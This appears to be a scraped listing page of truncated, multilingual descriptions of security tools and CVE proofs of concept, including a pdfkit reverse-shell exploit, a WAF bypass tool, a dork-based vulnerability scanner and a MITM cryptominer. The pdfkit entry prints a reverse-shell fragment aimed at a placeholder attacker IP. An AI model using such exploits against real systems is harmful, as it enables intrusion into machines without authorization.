CVE-2024-4577

Comprobador de Vulnerabilidad CVE-2024-4577 Este script está diseñado para comprobar la vulnerabilidad descrita por CVE-2024-4577, que implica explotar ciertas configuraciones de PHP para ejecutar código arbitrario de forma remota. Envía una solicitud POST a endpoints especificados en una lista d...

spectreScope

spectreScope 投机执行攻击 Spectre（CVE-2017-5753, CVE-2017-5715）的演示。 已测试平台 macOS root@kitploit: Intel - Apple MacBook Pro Retina, 15英寸, 2013年末款 - macOS High Sierra 10.13.2 - 1 IntelR CoreTM i7-4750HQ CPU @ 2.00GHz - git 2.14.3 - cmake 3.10.1 - Xcode 9.2 Linux root@kitploit: Intel - HP ProLiant BL660C GE...

apiscope

ApiScope ApiScope is a Windows x64 research tool for tracing selected API calls in a new or running process. It follows DLL load events through the Windows debugger API and installs hooks before the debuggee continues from each event. Included hooks: ntdll.dll!NtCreateFile records the target path...

edb-debugger

edb es un depurador multiplataforma para AArch32/x86/x86-64. Está inspirado en Ollydbg, pero pretende funcionar en AArch32, x86 y x86-64, así como en múltiples sistemas operativos. Linux es la única plataforma oficialmente soportada por el momento , pero los portes a FreeBSD, OpenBSD, OSX y Windo...

challenges

Hex Advent CTF BIENVENIDAS A HEX ADVENT 2025, ¡es la temporada de desenvolver tu potencial! 🎁 HEX ADVENT 2025 es un calendario de adviento CTF con temática navideña, diseñado por mujeres y para mujeres. 12 días, 12 retos: Un calendario estructurado para dominar diferentes categorías de CTF. Áreas...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2024-47176

PoC: cups-browsed 上的未认证远程代码执行 📜 漏洞信息 发布日期 : 2024-09-26 基础评分 : 5.3 中等 EPSS评分 : 0.06% 利用概率 向量 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N 描述 : CUPS 是一个基于标准、开源的打印系统，而 cups-browsed 包含网络打印功能，包括但不限于自动发现打印服务和共享打印机。cups-browsed 绑定到 INADDRANY:631，使其信任来自任何来源的任何数据包，并可能导致 Get-Printer-Attributes IPP...

hexora

hexora Hexora 是一款静态分析工具，旨在检测 Python 代码中的恶意和有害模式。它结合了基于规则的静态分析引擎与机器学习模型，对整个源文件进行评分，将其分类为恶意或良性。 它可以用于： 审计项目依赖，以发现潜在的供应链攻击 检测在 Pastebin、GitHub 或开放目录等平台上发现的恶意脚本 分析过去安全事件中的 IoC 文件 审计上传到 PyPi 的新包 示例 如需输出示例，请参见 docs/examples.md 文件。 安装 使用 Python 需要 Python 3.9+。 root@kitploit: pip install hexora 使用 uv：...

dorkbot

dorkbot 扫描 Google（或其他）搜索结果中的漏洞。 dorkbot 是一个模块化命令行工具，用于对 Google 搜索查询或其他支持来源返回的网页集合执行漏洞扫描。它分为两组模块： 索引器（Indexers） - 返回目标列表的模块 扫描器（Scanners） - 对每个目标执行漏洞扫描的模块 目标在索引时存储在数据库中。扫描后，将生成一个标准的 JSON 报告，其中包含发现的任何漏洞。索引和扫描过程可以单独运行，也可以合并到单个命令中（每种最多一个）。 快速开始 通过开发者控制台创建 Google API 凭据 创建 Google 自定义搜索引擎，并记下搜索引擎 ID，例如...

CVE-2022-25584

Flexwatch Flexwatch-CVE 本文档针对 CVE-2022-25584 "已保留" https://vulners.com/cve/CVE-2022-25584 此漏洞已被 CNVD 收录，但尚未公开 CNVD ID:CNVD-2021-103443 漏洞复现： 我们发现由 Seyeon Tech Co., Ltd. 拥有的 FlexWATCH FW3170-PS-E 网络视频系统 4.23-3000GY 存在未授权访问漏洞，攻击者可利用该漏洞获取监控图像并泄露敏感信息 例如：...

CVE-2017-0037

CVE-2017-0037（Microsoft 浏览器内存破坏漏洞） 本文档介绍 CVE-2017-0037（Microsoft 浏览器内存破坏漏洞） 。首先介绍什么是远程代码执行（RCE） ，然后讨论一些技术细节。 什么是远程代码执行？ 远程代码执行是一种网络攻击，攻击者可以远程在另一台计算机上执行命令。远程代码执行（RCE）通常由主机下载的恶意软件引起，与系统位置无关。 实现 RCE 可通过以下方式： 1. 注入攻击 ：攻击者故意提供错误输入，意图让其中一部分被当作命令的一部分处理。 2. 反序列化攻击 ：反序列化程序可能将序列化数据中精心构造的用户输入当作可执行代码读取。 3...

doppelganger_assistant

Doppelgänger Assistant 一款专业的GUI应用程序，用于计算卡片数据并自动执行Proxmark3针对Doppelgänger Core和Stealth所支持的所有卡片类型的操作。该工具通过提供具有双输出显示、视觉分隔符和一键剪贴板复制的直观界面，简化了物理渗透测试中的卡片写入流程，无需记忆复杂的Proxmark3语法或翻阅笔记。 功能特性 现代化GUI界面 ：直观的双列布局，带有专用状态和命令输出显示 卡片操作 ：自动生成并执行用于写入、验证和模拟卡片的Proxmark3命令 直接执行 ：在GUI中直接对Proxmark3执行写入、验证和模拟操作 跨平台...

coffeeMiner

CoffeeMiner Collaborative mitm cryptocurrency mining pool in wifi networks Warning: this project is for academic/research purposes only. A blog post about this project can be read here: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html Concept Performs a MITM attack to...

waf-bypass

WAF Bypass Tool WAF Bypass Tool 是一个开源工具，用于使用预定义和可自定义的载荷分析任何 WAF 的误报和漏报安全性。在攻击者之前检查您的 WAF。WAF Bypass Tool 由 Nemesida WAF 团队在社区参与下开发。 请勿进行任何非法行为 禁止用于非法和不道德的目的。不要违法。我们对使用本软件可能产生的风险不承担任何责任。 如何运行 使用 Docker 运行 最新版本的 waf-bypass 始终可通过 Docker Hub 获取。可通过以下命令轻松拉取： root@kitploit: docker pull...

zen-desktop

Zen: Tu bloqueador de anuncios y guardián de privacidad integral Simplemente, no hay manera de ignorar la privacidad. Debido a que las libertades de una ciudadanía son interdependientes, renunciar a tu propia privacidad es realmente renunciar a la de todos. Edward Snowden, Permanent Record Sitio...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 Spring-Cloud-Gateway 在2022年第一季度，发现了一个有趣且严重（基础评分10.0）的Spring Cloud Gateway代码注入漏洞，利用Actuator API执行SpEL注入，可能导致系统被攻破。 受影响版本：Spring Cloud Gateway 3.1.1+ 和 3.0.7+ 之前的版本。 在Spring Cloud Gateway中，应用程序容易受到代码注入攻击，如果满足以下条件：Gateway Actuator端点已启用、暴露且未加防护。 漏洞流程图 PCAP分析...

tmpmail

从终端获取临时邮箱，使用 POSIX sh 编写 tmpmail 是一个用 POSIX sh 编写的命令行工具，它允许您创建一个临时电子邮件地址并接收发送到该临时地址的邮件。它使用 1secmail 的 API 来接收邮件。 默认情况下，使用 w3m 在终端中渲染 HTML 邮件。但如果您更喜欢其他基于文本的浏览器，或者希望在 GUI 浏览器（如 Firefox）中查看邮件，只需使用 --browser 参数，后跟启动所选浏览器的命令即可。 依赖 w3m curl jq xclip 安装 本地安装 root@kitploit: 下载 tmpmail 文件并赋予执行权限 $ curl -L...

tmpmail

A temporary email right from your terminal written in POSIX sh tmpmail is a command line utility written in POSIX sh that allows you to create a temporary email address and receive emails to the temporary email address. It uses 1secmail's API to receive emails. By default w3m is used to render th...

network-monitor

网络监视器 一款使用 Rust 和 GTK4 构建的实时网络连接监控工具，可在现代图形界面中显示活动连接及其实时 I/O 统计信息。 功能特性 实时监控 ：持续监控活动网络连接 I/O 统计 ：显示每个连接的实时上传/下载速率 进程识别 ：显示与每个连接关联的程序和 PID 现代 GTK4 界面 ：采用 Libadwaita 风格的简洁、响应式图形界面 终端界面（TUI） ：提供相同监控能力的交互式终端界面 地址解析 ：简化常见地址（localhost、any、mDNS） 连接过滤 ：过滤掉 localhost 连接，以获得更清晰的输出 GNOME 集成 ：提供正确的 WM class...

cve-search

cve-search cve-search 是一个工具，用于将 CVE（通用漏洞与暴露）和 CPE（通用平台枚举）导入 MongoDB，以方便 CVE 的搜索和处理。 该软件的主要目的是避免直接且公开地查询公共 CVE 数据库。本地查询通常更快，并且您可以限制通过互联网进行敏感查询。 cve-search 包含一个用于存储漏洞及相关信息的后端、一个用于搜索和管理漏洞的直观 Web 界面、一系列查询系统的工具以及一个 Web API 接口。 cve-search 被许多组织使用。CIRCL 的公共 CVE 服务 也曾由 cve-search 提供支持，但此后已被...